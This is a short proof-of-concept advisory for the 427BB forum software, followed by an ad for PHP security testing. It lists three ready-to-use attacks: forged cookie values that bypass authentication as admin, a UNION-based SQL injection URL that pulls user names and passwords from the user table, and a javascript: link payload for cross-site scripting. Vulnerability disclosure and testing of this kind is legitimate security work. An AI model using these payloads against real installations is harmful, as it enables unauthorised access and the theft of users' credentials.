PoC/Exploit for Cookie Auth Bypass, SQL Injections, XSS in 427BB
Published Proof of Concept code - Cookie Auth Bypass, SQL Injections, XSS in 427BB.
- Description
- Available
- Solution
- Not available - check vendor's website
1. Authentication bypass using modified cookie values.
No password needed:
Cookie: username=admin;Cookie: authenticated=1;Cookie: usertype=admin;
2. SQL Injection Example.
Need to be logged in as registered user.
http://host/bb427/showthread.php? ForumID=999%20union%20select%20UserName,Passwrod,null,null%20from%20prefPersonal
3. Arbitrary script code insertion.
Posting new message. Message text:
[url=javascript:alert(xss)]clickme[/url]
Order PHP Code Testing
Defend against hacking by PHP code analysis of your site made by Aliaksandr Hartsuyeu.The work will be done by specialists in web security.